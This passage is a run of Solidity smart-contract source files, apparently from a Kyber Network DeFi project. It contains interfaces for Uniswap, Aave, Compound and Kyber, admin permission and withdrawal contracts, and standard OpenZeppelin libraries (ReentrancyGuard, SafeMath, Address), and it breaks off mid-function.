swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } pragma solidity 0.6.6; pragma experimental ABIEncoderV2; import "../wrappers/AAVE/DataTypes.sol"; import "../wrappers/AAVE/IProtocolDataProvider.sol"; interface IAaveLendingPoolV2 { /** * @dev Deposits an `amount` of underlying asset into the reserve, receiving in return overlying aTokens. * - E.g. User deposits 100 USDC and gets in return 100 aUSDC * @param asset The address of the underlying asset to deposit * @param amount The amount to be deposited * @param onBehalfOf The address that will receive the aTokens, same as msg.sender if the user * wants to receive them on his own wallet, or a different address if the beneficiary of aTokens * is a different wallet * @param referralCode Code used to register the integrator originating the operation, for potential rewards. * 0 if the action is executed directly by the user, without any middle-man **/ function deposit( address asset, uint256 amount, address onBehalfOf, uint16 referralCode ) external; /** * @dev Withdraws an `amount` of underlying asset from the reserve, burning the equivalent aTokens owned * E.g. User has 100 aUSDC, calls withdraw() and receives 100 USDC, burning the 100 aUSDC * @param asset The address of the underlying asset to withdraw * @param amount The underlying amount to be withdrawn * - Send the value type(uint256).max in order to withdraw the whole aToken balance * @param to Address that will receive the underlying, same as msg.sender if the user * wants to receive it on his own wallet, or a different address if the beneficiary is a * different wallet * @return The final amount withdrawn **/ function withdraw( address asset, uint256 amount, address to ) external returns (uint256); /** * @dev Allows users to borrow a specific `amount` of the reserve underlying asset, provided that the borrower * already deposited enough collateral, or he was given enough allowance by a credit delegator on the * corresponding debt token (StableDebtToken or VariableDebtToken) * - E.g. User borrows 100 USDC passing as `onBehalfOf` his own address, receiving the 100 USDC in his wallet * and 100 stable/variable debt tokens, depending on the `interestRateMode` * @param asset The address of the underlying asset to borrow * @param amount The amount to be borrowed * @param interestRateMode The interest rate mode at which the user wants to borrow: 1 for Stable, 2 for Variable * @param referralCode Code used to register the integrator originating the operation, for potential rewards. * 0 if the action is executed directly by the user, without any middle-man * @param onBehalfOf Address of the user who will receive the debt. Should be the address of the borrower itself * calling the function if he wants to borrow against his own collateral, or the address of the credit delegator * if he has been given credit delegation allowance **/ function borrow( address asset, uint256 amount, uint256 interestRateMode, uint16 referralCode, address onBehalfOf ) external; /** * @notice Repays a borrowed `amount` on a specific reserve, burning the equivalent debt tokens owned * - E.g. User repays 100 USDC, burning 100 variable/stable debt tokens of the `onBehalfOf` address * @param asset The address of the borrowed underlying asset previously borrowed * @param amount The amount to repay * - Send the value type(uint256).max in order to repay the whole debt for `asset` on the specific `debtMode` * @param rateMode The interest rate mode at of the debt the user wants to repay: 1 for Stable, 2 for Variable * @param onBehalfOf Address of the user who will get his debt reduced/removed. Should be the address of the * user calling the function if he wants to reduce/remove his own debt, or the address of any other * other borrower whose debt should be removed * @return The final amount repaid **/ function repay( address asset, uint256 amount, uint256 rateMode, address onBehalfOf ) external returns (uint256); /** * @dev Allows depositors to enable/disable a specific deposited asset as collateral * @param asset The address of the underlying asset deposited * @param useAsCollateral `true` if the user wants to use the deposit as collateral, `false` otherwise **/ function setUserUseReserveAsCollateral(address asset, bool useAsCollateral) external; /** * @dev Returns the state and configuration of the reserve * @param asset The address of the underlying asset of the reserve * @return The state of the reserve **/ function getReserveData(address asset) external view returns (DataTypes.ReserveData memory); } pragma solidity 0.6.6; interface IAaveLendingPoolV1 { function deposit( address _reserve, uint256 _amount, uint16 _referralCode ) external payable; function borrow( address _reserve, uint256 _amount, uint256 _interestRateMode, uint16 _referralCode ) external; function setUserUseReserveAsCollateral(address _reserve, bool _useAsCollateral) external; function repay( address _reserve, uint256 _amount, address payable _onBehalfOf ) external payable; function core() external view returns (address); function getUserReserveData(address _reserve, address _user) external view returns ( uint256 currentATokenBalance, uint256 currentBorrowBalance, uint256 principalBorrowBalance, uint256 borrowRateMode, uint256 borrowRate, uint256 liquidityRate, uint256 originationFee, uint256 variableBorrowIndex, uint256 lastUpdateTimestamp, bool usageAsCollateralEnabled ); } interface IAToken { function redeem(uint256 _amount) external; } pragma solidity 0.6.6; import "@kyber.network/utils-sc/contracts/IERC20Ext.sol"; interface IWeth is IERC20Ext { function deposit() external payable; function withdraw(uint256 wad) external; } pragma solidity 0.6.6; interface ICompErc20 { function mint(uint mintAmount) external returns (uint); function redeem(uint redeemTokens) external returns (uint); function redeemUnderlying(uint redeemAmount) external returns (uint); function borrow(uint borrowAmount) external returns (uint); function repayBorrow(uint repayAmount) external returns (uint); function repayBorrowBehalf(address borrower, uint repayAmount) external returns (uint); function transfer(address dst, uint amount) external returns (bool); function transferFrom(address src, address dst, uint amount) external returns (bool); function approve(address spender, uint amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint); function balanceOf(address owner) external view returns (uint); function balanceOfUnderlying(address owner) external returns (uint); function getAccountSnapshot(address account) external view returns (uint, uint, uint, uint); function totalBorrowsCurrent() external returns (uint); function borrowBalanceCurrent(address account) external returns (uint); function borrowBalanceStored(address account) external view returns (uint); function exchangeRateCurrent() external returns (uint); function exchangeRateStored() external view returns (uint); function underlying() external view returns (address); } interface ICompEth { function mint() external payable; function repayBorrowBehalf(address borrower) external payable; function repayBorrow() external payable; } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } pragma solidity 0.6.6; library DataTypes { struct ReserveData { //stores the reserve configuration ReserveConfigurationMap configuration; //the liquidity index. Expressed in ray uint128 liquidityIndex; //variable borrow index. Expressed in ray uint128 variableBorrowIndex; //the current supply rate. Expressed in ray uint128 currentLiquidityRate; //the current variable borrow rate. Expressed in ray uint128 currentVariableBorrowRate; //the current stable borrow rate. Expressed in ray uint128 currentStableBorrowRate; uint40 lastUpdateTimestamp; //tokens addresses address aTokenAddress; address stableDebtTokenAddress; address variableDebtTokenAddress; //address of the interest rate strategy address interestRateStrategyAddress; //the id of the reserve. Represents the position in the list of the active reserves uint8 id; } struct ReserveConfigurationMap { //bit 0-15: LTV //bit 16-31: Liq. threshold //bit 32-47: Liq. bonus //bit 48-55: Decimals //bit 56: Reserve is active //bit 57: reserve is frozen //bit 58: borrowing is enabled //bit 59: stable rate borrowing enabled //bit 60-63: reserved //bit 64-79: reserve factor uint256 data; } struct UserConfigurationMap { uint256 data; } enum InterestRateMode {NONE, STABLE, VARIABLE} } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.6; pragma experimental ABIEncoderV2; interface IProtocolDataProvider { struct TokenData { string symbol; address tokenAddress; } function getAllReservesTokens() external view returns (TokenData[] memory); function getAllATokens() external view returns (TokenData[] memory); function getReserveConfigurationData(address asset) external view returns( uint256 decimals, uint256 ltv, uint256 liquidationThreshold, uint256 liquidationBonus, uint256 reserveFactor, bool usageAsCollateralEnabled, bool borrowingEnabled, bool stableBorrowRateEnabled, bool isActive, bool isFrozen ); function getReserveData(address asset) external view returns ( uint256 availableLiquidity, uint256 totalStableDebt, uint256 totalVariableDebt, uint256 liquidityRate, uint256 variableBorrowRate, uint256 stableBorrowRate, uint256 averageStableBorrowRate, uint256 liquidityIndex, uint256 variableBorrowIndex, uint40 lastUpdateTimestamp ); function getUserReserveData(address asset, address user) external view returns ( uint256 currentATokenBalance, uint256 currentStableDebt, uint256 currentVariableDebt, uint256 principalStableDebt, uint256 scaledVariableDebt, uint256 stableBorrowRate, uint256 liquidityRate, uint40 stableRateLastUpdated, bool usageAsCollateralEnabled ); function getReserveTokensAddresses(address asset) external view returns ( address aTokenAddress, address stableDebtTokenAddress, address variableDebtTokenAddress ); function calculateUserGlobalData(address _user) external view returns ( uint256 totalLiquidityBalanceETH, uint256 totalCollateralBalanceETH, uint256 totalBorrowBalanceETH, uint256 totalFeesETH, uint256 currentLtv, uint256 currentLiquidationThreshold, uint256 healthFactor, bool healthFactorBelowThreshold ); } pragma solidity >=0.6.2; interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } pragma solidity 0.6.6; interface IBurnGasHelper { function getAmountGasTokensToBurn(uint256 gasTotalConsumption) external view returns (uint256 numGas, address gasToken); } pragma solidity 0.6.6; import "@kyber.network/utils-sc/contracts/IERC20Ext.sol"; interface IKyberProxy { function tradeWithHintAndFee( IERC20 src, uint256 srcAmount, IERC20 dest, address payable destAddress, uint256 maxDestAmount, uint256 minConversionRate, address payable platformWallet, uint256 platformFeeBps, bytes calldata hint ) external payable returns (uint256 destAmount); function getExpectedRateAfterFee( IERC20 src, IERC20 dest, uint256 srcQty, uint256 platformFeeBps, bytes calldata hint ) external view returns (uint256 expectedRate); } pragma solidity 0.6.6; interface IGasToken { function mint(uint256 value) external; function freeUpTo(uint256 value) external returns (uint256 freed); function freeFromUpTo(address from, uint256 value) external returns (uint256 freed); function balanceOf(address who) external view returns (uint256); function transfer(address to, uint256 value) external returns (bool success); function transferFrom(address from, address to, uint256 value) external returns (bool success); function approve(address spender, uint256 value) external returns (bool success); } pragma solidity 0.6.6; import "./IERC20Ext.sol"; /** * @title Kyber utility file * mostly shared constants and rate calculation helpers * inherited by most of kyber contracts. * previous utils implementations are for previous solidity versions. */ contract Utils { /// Declared constants below to be used in tandem with /// getDecimalsConstant(), for gas optimization purposes /// which return decimals from a constant list of popular /// tokens. IERC20Ext internal constant ETH_TOKEN_ADDRESS = IERC20Ext( 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE ); IERC20Ext internal constant USDT_TOKEN_ADDRESS = IERC20Ext( 0xdAC17F958D2ee523a2206206994597C13D831ec7 ); IERC20Ext internal constant DAI_TOKEN_ADDRESS = IERC20Ext( 0x6B175474E89094C44Da98b954EedeAC495271d0F ); IERC20Ext internal constant USDC_TOKEN_ADDRESS = IERC20Ext( 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48 ); IERC20Ext internal constant WBTC_TOKEN_ADDRESS = IERC20Ext( 0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599 ); IERC20Ext internal constant KNC_TOKEN_ADDRESS = IERC20Ext( 0xdd974D5C2e2928deA5F71b9825b8b646686BD200 ); uint256 public constant BPS = 10000; // Basic Price Steps. 1 step = 0.01% uint256 internal constant PRECISION = (10**18); uint256 internal constant MAX_QTY = (10**28); // 10B tokens uint256 internal constant MAX_RATE = (PRECISION * 10**7); // up to 10M tokens per eth uint256 internal constant MAX_DECIMALS = 18; uint256 internal constant ETH_DECIMALS = 18; uint256 internal constant MAX_ALLOWANCE = uint256(-1); // token.approve inifinite mapping(IERC20Ext => uint256) internal decimals; /// @dev Sets the decimals of a token to storage if not already set, and returns /// the decimals value of the token. Prefer using this function over /// getDecimals(), to avoid forgetting to set decimals in local storage. /// @param token The token type /// @return tokenDecimals The decimals of the token function getSetDecimals(IERC20Ext token) internal returns (uint256 tokenDecimals) { tokenDecimals = getDecimalsConstant(token); if (tokenDecimals > 0) return tokenDecimals; tokenDecimals = decimals[token]; if (tokenDecimals == 0) { tokenDecimals = token.decimals(); decimals[token] = tokenDecimals; } } /// @dev Get the balance of a user /// @param token The token type /// @param user The user's address /// @return The balance function getBalance(IERC20Ext token, address user) internal view returns (uint256) { if (token == ETH_TOKEN_ADDRESS) { return user.balance; } else { return token.balanceOf(user); } } /// @dev Get the decimals of a token, read from the constant list, storage, /// or from token.decimals(). Prefer using getSetDecimals when possible. /// @param token The token type /// @return tokenDecimals The decimals of the token function getDecimals(IERC20Ext token) internal view returns (uint256 tokenDecimals) { // return token decimals if has constant value tokenDecimals = getDecimalsConstant(token); if (tokenDecimals > 0) return tokenDecimals; // handle case where token decimals is not a declared decimal constant tokenDecimals = decimals[token]; // moreover, very possible that old tokens have decimals 0 // these tokens will just have higher gas fees. return (tokenDecimals > 0) ? tokenDecimals : token.decimals(); } function calcDestAmount( IERC20Ext src, IERC20Ext dest, uint256 srcAmount, uint256 rate ) internal view returns (uint256) { return calcDstQty(srcAmount, getDecimals(src), getDecimals(dest), rate); } function calcSrcAmount( IERC20Ext src, IERC20Ext dest, uint256 destAmount, uint256 rate ) internal view returns (uint256) { return calcSrcQty(destAmount, getDecimals(src), getDecimals(dest), rate); } function calcDstQty( uint256 srcQty, uint256 srcDecimals, uint256 dstDecimals, uint256 rate ) internal pure returns (uint256) { require(srcQty <= MAX_QTY, "srcQty > MAX_QTY"); require(rate <= MAX_RATE, "rate > MAX_RATE"); if (dstDecimals >= srcDecimals) { require((dstDecimals - srcDecimals) <= MAX_DECIMALS, "dst - src > MAX_DECIMALS"); return (srcQty * rate * (10**(dstDecimals - srcDecimals))) / PRECISION; } else { require((srcDecimals - dstDecimals) <= MAX_DECIMALS, "src - dst > MAX_DECIMALS"); return (srcQty * rate) / (PRECISION * (10**(srcDecimals - dstDecimals))); } } function calcSrcQty( uint256 dstQty, uint256 srcDecimals, uint256 dstDecimals, uint256 rate ) internal pure returns (uint256) { require(dstQty <= MAX_QTY, "dstQty > MAX_QTY"); require(rate <= MAX_RATE, "rate > MAX_RATE"); //source quantity is rounded up. to avoid dest quantity being too low. uint256 numerator; uint256 denominator; if (srcDecimals >= dstDecimals) { require((srcDecimals - dstDecimals) <= MAX_DECIMALS, "src - dst > MAX_DECIMALS"); numerator = (PRECISION * dstQty * (10**(srcDecimals - dstDecimals))); denominator = rate; } else { require((dstDecimals - srcDecimals) <= MAX_DECIMALS, "dst - src > MAX_DECIMALS"); numerator = (PRECISION * dstQty); denominator = (rate * (10**(dstDecimals - srcDecimals))); } return (numerator + denominator - 1) / denominator; //avoid rounding down errors } function calcRateFromQty( uint256 srcAmount, uint256 destAmount, uint256 srcDecimals, uint256 dstDecimals ) internal pure returns (uint256) { require(srcAmount <= MAX_QTY, "srcAmount > MAX_QTY"); require(destAmount <= MAX_QTY, "destAmount > MAX_QTY"); if (dstDecimals >= srcDecimals) { require((dstDecimals - srcDecimals) <= MAX_DECIMALS, "dst - src > MAX_DECIMALS"); return ((destAmount * PRECISION) / ((10**(dstDecimals - srcDecimals)) * srcAmount)); } else { require((srcDecimals - dstDecimals) <= MAX_DECIMALS, "src - dst > MAX_DECIMALS"); return ((destAmount * PRECISION * (10**(srcDecimals - dstDecimals))) / srcAmount); } } /// @dev save storage access by declaring token decimal constants /// @param token The token type /// @return token decimals function getDecimalsConstant(IERC20Ext token) internal pure returns (uint256) { if (token == ETH_TOKEN_ADDRESS) { return ETH_DECIMALS; } else if (token == USDT_TOKEN_ADDRESS) { return 6; } else if (token == DAI_TOKEN_ADDRESS) { return 18; } else if (token == USDC_TOKEN_ADDRESS) { return 6; } else if (token == WBTC_TOKEN_ADDRESS) { return 8; } else if (token == KNC_TOKEN_ADDRESS) { return 18; } else { return 0; } } function minOf(uint256 x, uint256 y) internal pure returns (uint256) { return x > y ? y : x; } } pragma solidity 0.6.6; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; import "./IERC20Ext.sol"; import "./PermissionGroups.sol"; contract Withdrawable is PermissionGroups { using SafeERC20 for IERC20Ext; event TokenWithdraw(IERC20Ext token, uint256 amount, address sendTo); event EtherWithdraw(uint256 amount, address sendTo); constructor(address _admin) public PermissionGroups(_admin) {} /** * @dev Withdraw all IERC20Ext compatible tokens * @param token IERC20Ext The address of the token contract */ function withdrawToken( IERC20Ext token, uint256 amount, address sendTo ) external onlyAdmin { token.safeTransfer(sendTo, amount); emit TokenWithdraw(token, amount, sendTo); } /** * @dev Withdraw Ethers */ function withdrawEther(uint256 amount, address payable sendTo) external onlyAdmin { (bool success, ) = sendTo.call{value: amount}(""); require(success, "withdraw failed"); emit EtherWithdraw(amount, sendTo); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor () internal { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } pragma solidity 0.6.6; contract PermissionGroups { uint256 internal constant MAX_GROUP_SIZE = 50; address public admin; address public pendingAdmin; mapping(address => bool) internal operators; mapping(address => bool) internal alerters; address[] internal operatorsGroup; address[] internal alertersGroup; event AdminClaimed(address newAdmin, address previousAdmin); event TransferAdminPending(address pendingAdmin); event OperatorAdded(address newOperator, bool isAdd); event AlerterAdded(address newAlerter, bool isAdd); constructor(address _admin) public { require(_admin != address(0), "admin 0"); admin = _admin; } modifier onlyAdmin() { require(msg.sender == admin, "only admin"); _; } modifier onlyOperator() { require(operators[msg.sender], "only operator"); _; } modifier onlyAlerter() { require(alerters[msg.sender], "only alerter"); _; } function getOperators() external view returns (address[] memory) { return operatorsGroup; } function getAlerters() external view returns (address[] memory) { return alertersGroup; } /** * @dev Allows the current admin to set the pendingAdmin address. * @param newAdmin The address to transfer ownership to. */ function transferAdmin(address newAdmin) public onlyAdmin { require(newAdmin != address(0), "new admin 0"); emit TransferAdminPending(newAdmin); pendingAdmin = newAdmin; } /** * @dev Allows the current admin to set the admin in one tx. Useful initial deployment. * @param newAdmin The address to transfer ownership to. */ function transferAdminQuickly(address newAdmin) public onlyAdmin { require(newAdmin != address(0), "admin 0"); emit TransferAdminPending(newAdmin); emit AdminClaimed(newAdmin, admin); admin = newAdmin; } /** * @dev Allows the pendingAdmin address to finalize the change admin process. */ function claimAdmin() public { require(pendingAdmin == msg.sender, "not pending"); emit AdminClaimed(pendingAdmin, admin); admin = pendingAdmin; pendingAdmin = address(0); } function addAlerter(address newAlerter) public onlyAdmin { require(!alerters[newAlerter], "alerter exists"); // prevent duplicates. require(alertersGroup.length < MAX_GROUP_SIZE, "max alerters"); emit AlerterAdded(newAlerter, true); alerters[newAlerter] = true; alertersGroup.push(newAlerter); } function removeAlerter(address alerter) public onlyAdmin { require(alerters[alerter], "not alerter"); alerters[alerter] = false; for (uint256 i = 0; i < alertersGroup.length; ++i) { if (alertersGroup[i] == alerter) { alertersGroup[i] = alertersGroup[alertersGroup.length - 1]; alertersGroup.pop(); emit AlerterAdded(alerter, false); break; } } } function addOperator(address newOperator) public onlyAdmin { require(!operators[newOperator], "operator exists"); // prevent duplicates. require(operatorsGroup.length < MAX_GROUP_SIZE, "max operators"); emit OperatorAdded(newOperator, true); operators[newOperator] = true; operatorsGroup.push(newOperator); } function removeOperator(address operator) public onlyAdmin { require(operators[operator], "not operator"); operators[operator] = false; for (uint256 i = 0; i < operatorsGroup.length; ++i) { if (operatorsGroup[i] == operator) { operatorsGroup[i] = operatorsGroup[operatorsGroup.length - 1]; operatorsGroup.pop(); emit OperatorAdded(operator, false); break; } } } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, 